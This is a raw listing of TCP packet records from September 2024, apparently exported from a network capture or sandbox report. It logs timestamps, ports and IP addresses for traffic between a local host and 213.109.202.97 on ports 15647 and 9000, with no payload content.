Sep 26, 2024 01:49:43.151469946 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.151483059 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.151549101 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.166635990 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.167947054 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.168131113 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.171557903 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.171626091 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.173263073 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.173273087 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.173325062 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.178189993 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.178252935 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.195261002 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.200151920 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.200256109 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.205060959 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.205123901 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.207775116 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.207856894 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.211941004 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.212007999 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.216804028 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.216873884 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.224760056 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.224855900 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.240433931 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.245275021 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.245352030 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.250179052 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.250241041 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.259087086 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.259169102 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.265562057 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.265630960 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.284761906 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.287969112 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.288042068 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.289640903 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.289689064 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.294465065 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.294503927 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.304466009 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.304564953 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.323407888 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.328186989 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.328253984 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.333012104 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.333086967 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.333554029 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.333615065 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.342014074 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.342065096 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.360428095 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.363720894 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.363800049 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.365310907 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.365380049 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.370141983 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.370193958 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.382643938 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.382654905 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.382697105 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.395909071 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.395957947 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.398976088 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.399138927 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.403968096 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.404026031 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.414693117 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.414783001 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.429043055 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.433501959 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.433614969 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.433988094 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.437320948 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.437356949 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.437443018 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.445105076 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.445173025 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.446052074 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.446088076 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.446149111 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.450927019 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.450998068 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.452840090 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.452887058 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.457756996 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.457824945 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.470082998 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.470094919 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.470164061 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.477848053 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.477861881 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.477933884 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.486341953 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.486430883 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.504488945 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.522109985 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.537950993 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.553276062 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.569353104 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.584894896 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.600315094 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.622064114 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.651855946 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.666501999 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.666522026 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.666538000 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.666557074 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.666558027 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.666569948 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.666591883 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.666591883 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.666604996 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.666610956 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.666619062 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.666644096 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.666670084 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.666687012 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.666702032 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.666738987 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.666740894 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.666754007 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.666783094 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.666810989 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.666821003 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.666851997 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.666870117 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.666899920 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.666913986 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.666946888 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.668870926 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.668904066 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.669069052 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.669089079 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.671643019 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.671704054 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.678081036 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.678096056 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.678127050 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.691436052 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.691448927 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.691540003 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.710267067 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.710283041 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.710326910 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.728996992 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.729012012 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.729068041 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.745170116 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.745201111 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.745223045 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.759999037 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.760050058 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.771363020 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.771429062 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.784085989 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.784250975 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.797633886 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.797661066 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.797744036 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.802145958 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.802160978 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.802237988 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.804266930 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.816323042 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.826708078 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.832559109 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.845738888 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.864155054 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.864265919 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.871088028 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.871102095 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.871169090 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.876661062 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.876729012 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.886990070 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.887002945 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.887065887 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.889410019 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.889475107 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.894320965 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.896831036 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.896894932 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.916343927 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.916362047 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.916465044 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.931068897 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.931097031 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.931180000 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.934793949 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.945199966 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.945214033 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.945310116 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.956734896 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.959228992 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.975964069 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.975980997 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.976080894 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.989243984 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:43.989569902 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:43.997271061 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.003669024 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.003693104 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.003777027 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.018542051 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.018577099 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.018646002 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.027791023 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.032527924 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.033581018 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.044363976 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.045001030 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.045017004 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.045089006 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.045089006 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.063352108 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.065593004 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.069884062 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.069916964 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.069972038 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.085226059 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.085244894 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.085380077 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.105875969 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.105890989 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.106038094 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.132272959 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.149446964 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.149512053 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.149575949 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.172173023 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.172209978 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.172244072 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.172322989 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.172368050 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.196710110 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.196768999 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.196803093 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.196880102 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.200829983 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.210423946 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.210458994 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.210532904 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.219664097 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.226022005 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.226032972 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.226102114 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.236767054 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.237557888 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.243483067 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.243537903 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.243612051 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.253319979 CEST	9000	58402	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.253566027 CEST	58402	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.253849030 CEST	58402	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.258646965 CEST	9000	58402	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.263822079 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.263834953 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.263883114 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.278965950 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.278999090 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.279066086 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.293427944 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.299240112 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.299252033 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.299331903 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.313483000 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.315617085 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.323299885 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.323369026 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.323781967 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.351244926 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.359488964 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.360049009 CEST	58403	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.365041018 CEST	9000	58403	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.366199970 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.366298914 CEST	58403	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.366457939 CEST	58403	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.371284962 CEST	9000	58403	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.383038044 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.383121014 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.383157969 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.383291006 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.405930996 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.405967951 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.406054020 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.426218033 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.426254034 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.426326036 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.427908897 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.438585043 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.438632965 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.438699961 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.443456888 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.452389956 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.452459097 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.463896036 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.463931084 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.464039087 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.479435921 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.492966890 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.493024111 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.493053913 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.493100882 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.513644934 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.513655901 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.513725996 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.520347118 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.520507097 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.535969973 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.535984039 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.536041021 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.544938087 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.545018911 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.552263021 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.552278996 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.552328110 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.569694996 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.569747925 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.569791079 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.579026937 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.579061985 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.579106092 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.605259895 CEST	15647	58394	213.109.202.97	192.168.2.7
